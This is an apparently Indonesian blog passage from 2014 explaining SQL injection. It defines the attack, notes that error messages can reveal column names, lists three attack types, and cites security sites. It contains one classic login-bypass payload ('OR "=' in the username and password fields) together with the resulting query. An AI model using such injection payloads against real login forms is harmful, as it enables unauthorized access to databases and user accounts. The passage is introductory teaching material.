2. SQL injection merupakan suatu kegiatan yang menipu query dari database, sehingga seseorang dapat mengetahui dan mendapatkan informasi yang terdapat di sana. Praktek seperti ini merupakan ilegal jika kita melihat dari sisi sistem, tapi adakalanya berguna,sehingga itu semua tergantung niat dari yang melakukannya.

3. Seorang attacker dapat memanfaatkan pesan error yang dikirimkan server ketika dia memberikan query-query ilegal untuk mendapatkan nama dan tipe dari kolom pada tabel dalam suatu database

4. Terdapat 3 jenis serangan SQL injection :
a. Authorization Bypass.
Contohnya :
Username: 'OR "='
Password: 'OR "='
Masukan diatas berarti kita telah memberikan query sbb :
SELECT username FROM users where Username = "OR "=" AND password = "OR "="
b. Penggunaan perintah SELECT.
c. Penggunaan perintah INSERT.



9. Daftar Pustaka

1. http://packetstormsecurity.org
2. http://securityfocus.com
3. http://jasakom.com
4. http://www.binushacker.net
5.     http://www.appsecinc.com
6.     http://www.sqlsecurity.com

Monday, December 22, 2014